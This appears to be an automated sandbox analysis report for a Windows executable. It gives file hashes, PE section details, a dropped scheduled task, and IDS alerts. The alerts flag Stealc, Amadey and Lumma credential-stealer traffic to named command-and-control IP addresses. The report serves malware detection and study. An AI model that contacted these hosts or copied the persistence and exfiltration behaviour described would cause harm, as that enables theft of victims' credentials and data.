SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\DocumentsJEHJKJEBGH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1884160
Entropy (8bit):	7.950842055511683
Encrypted:	false
SSDEEP:	49152:OnTmXYvCKjlfQkDrDWWo/fGSpM48Spzk1OJK:OTMY6KJ4GyWw+48SimK
MD5:	B136D71B7374063413830DB122AEDE59
SHA1:	443C7629C02F9B95DD36C11DABFFFD4C01DC89E6
SHA-256:	E7DC2940DE34F5FE0350F2EDA5E1EAAA1CFB7675453F3B421EDFEF5174BBCA5E
SHA-512:	F9EE75B93B0568948B14EDC93D5C70A66DC78AF3D79674057131DB49D3197FA44B990C80C91ECA9B52F8EBA20BE897A2BDD9AC79583167032A441D173F217B75
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....[.....@.................................W...k.......D.....................J.............................d.J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .@*.........................@...hrzfzjyg......0.....................@...dakuuilr......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJEHJKJEBGH.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.404931952891091
Encrypted:	false
SSDEEP:	6:zYtfbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB/l/ft0:sdruQ1CGAFifXVB/Rt0
MD5:	9DDF3BFE37A06B9A51B506238568CDC6
SHA1:	E42F7E4E7548CF72E85D0B65AD0A24A45E3A8DF8
SHA-256:	5889EF4EE34B004FF6B081EF50299EF8F26DA38C043A82B8F36DD6852060CC64
SHA-512:	EA2AFAA9FE0767CB378D1B78C48F6E7711CA2BB91DF0BCF9318438B9CC8C482D8953427DA1E225BB4256217621CBB9B67299DB44AFC027E9E9173116E3BA2E57
Malicious:	false
Preview:	.......9Q.F...8u..,F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (803)
Category:	downloaded
Size (bytes):	808
Entropy (8bit):	5.169118259462609
Encrypted:	false
SSDEEP:	24:bRDvXfukKvjBHslgT9lCuABuoB7HHHHHHHYqmffffffo:bRDf6vjKlgZ01BuSEqmffffffo
MD5:	B823982BD427E34A50DCC129EA716025
SHA1:	DD81A7DDA07A268EFEE3950AA5AB391E63DA132C
SHA-256:	2D18AC4CEA342C724E4FF01FB10DA297380CD5641AEDBE771F1989B74F89FB70
SHA-512:	1D9DE7839AEB31F5CA9CB7E15BF936F9DC5AEA44042FF70329E00374E28A66B7FFE8FCF0398381D6EDD3EE272FE44D039576E948DC61ECE0A96C5CCFCE46B752
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nfl playoff picture","nyt strands hints november 25","disney dreamlight valley storybook vale","cryptocurrency shiba inu","rocket launch spacex falcon 9","andretti cadillac f1 team","american airlines gate lice","nyt connections hints november 25"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133001
Entropy (8bit):	5.435944041371037
Encrypted:	false
SSDEEP:	3072:fRkXyPqO7UX1Hme9kZbs4Voc5bSnXqwQ2i6o:fKyWFHrp4Voc5bSnawQ8o
MD5:	8CCB090E12B24FEC6ED4E3BDA4EE4977
SHA1:	8BCC7657731B70226F52C314AD82558F639C9429
SHA-256:	5D09640AADC66A0B55C144535F4EDC3FD9EF8937C5FB48E4EB5A5BB7FAE5F685
SHA-512:	A33286F1A00CE389C7ABCC181EF791C357328935864BDEC591C84A1C610E9393C55B7B04A5ACF6DE26C2D8FAFFA818CAE5FBBFB6AECF738BB44DFEE63743D668
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944523528584782
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'785'344 bytes
MD5:	e7423cd132a8b0550213c0fb9175ae31
SHA1:	378d1048fecb53673ea33b910ae2d8ae08e578a5
SHA256:	a80a31d0c26650521c50df60611832e214a9fde86a8eae0ca3d05356ae9e0e63
SHA512:	7f35984008878a5bbbdca9ba891304720669f631ec6f4560dbf148bcbabc61434502a0313bed93eeeaf01691335732a06b70c7b8a228d4f6946419910ee0bb73
SSDEEP:	49152:woefc2gUyHcqm0QD22qg/5LKI75mJKqkwKIT:w5fcFUyHm0C221mIqz
TLSH:	A785335F15429774C688243E1AB8B4C1ABB073209CD6B55D7AF8FA3B4057CE88C9F49E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa83000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6484D02DEAh
hint_nop dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0600000Ah], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	2903a1e7ce87240c4d55000f48712a26	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	aced19cb212dbd35fa4d271cf05467d1	False	0.798828125	data	6.111125287872282	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29c000	0x200	99324bdbf80b2eefa2cab0c735fc42ea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zqmibjwx	0x4e8000	0x19a000	0x19a000	d9c16211dc4d156ebacced92c5824e9d	False	0.9946312881097561	data	7.953706768462844	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nsixqmkw	0x682000	0x1000	0x400	fa2c86888e8c1c663429afd1daee0c1e	False	0.779296875	data	6.006173145952547	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x683000	0x3000	0x2200	c6b5cac1612aa8f49b850071d3e3325b	False	0.07295496323529412	DOS executable (COM)	0.8050069577908464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x681c94	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-26T10:08:59.734278+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	20.189.173.22	443	TCP
2024-11-26T10:08:59.829822+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:09:00.291561+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:09:00.624714+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49711	TCP
2024-11-26T10:09:00.956081+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:09:01.086605+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49711	TCP
2024-11-26T10:09:02.421741+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:09:03.315669+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49711	185.215.113.206	80	TCP
2024-11-26T10:09:29.508723+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:31.538160+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:32.841201+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:33.940591+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:37.501758+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:38.555285+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49766	185.215.113.206	80	TCP
2024-11-26T10:09:44.149155+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49891	185.215.113.16	80	TCP
2024-11-26T10:10:05.788538+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49951	185.215.113.43	80	TCP
2024-11-26T10:10:10.330299+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49961	31.41.244.11	80	TCP
2024-11-26T10:10:13.792751+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49956	TCP
2024-11-26T10:10:14.760664+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49972	104.21.10.6	443	TCP
2024-11-26T10:10:15.137277+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49973	185.215.113.43	80	TCP
2024-11-26T10:10:15.804342+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49972	104.21.10.6	443	TCP
2024-11-26T10:10:15.804342+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49972	104.21.10.6	443	TCP
2024-11-26T10:10:16.641832+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49979	31.41.244.11	80	TCP
2024-11-26T10:10:16.813763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49980	104.21.10.6	443	TCP
2024-11-26T10:10:28.033447+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50007	185.215.113.43	80	TCP
2024-11-26T10:10:29.537824+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50012	185.215.113.16	80	TCP
2024-11-26T10:10:36.312718+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50031	104.21.7.169	443	TCP
2024-11-26T10:10:36.634820+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50033	185.215.113.43	80	TCP
2024-11-26T10:10:37.100172+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50031	104.21.7.169	443	TCP
2024-11-26T10:10:37.100172+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50031	104.21.7.169	443	TCP
2024-11-26T10:10:38.391513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50039	104.21.7.169	443	TCP
2024-11-26T10:10:38.451941+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50036	185.215.113.16	80	TCP
2024-11-26T10:10:39.385904+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50039	104.21.7.169	443	TCP
2024-11-26T10:10:39.385904+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50039	104.21.7.169	443	TCP
2024-11-26T10:10:41.318275+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50047	104.21.7.169	443	TCP
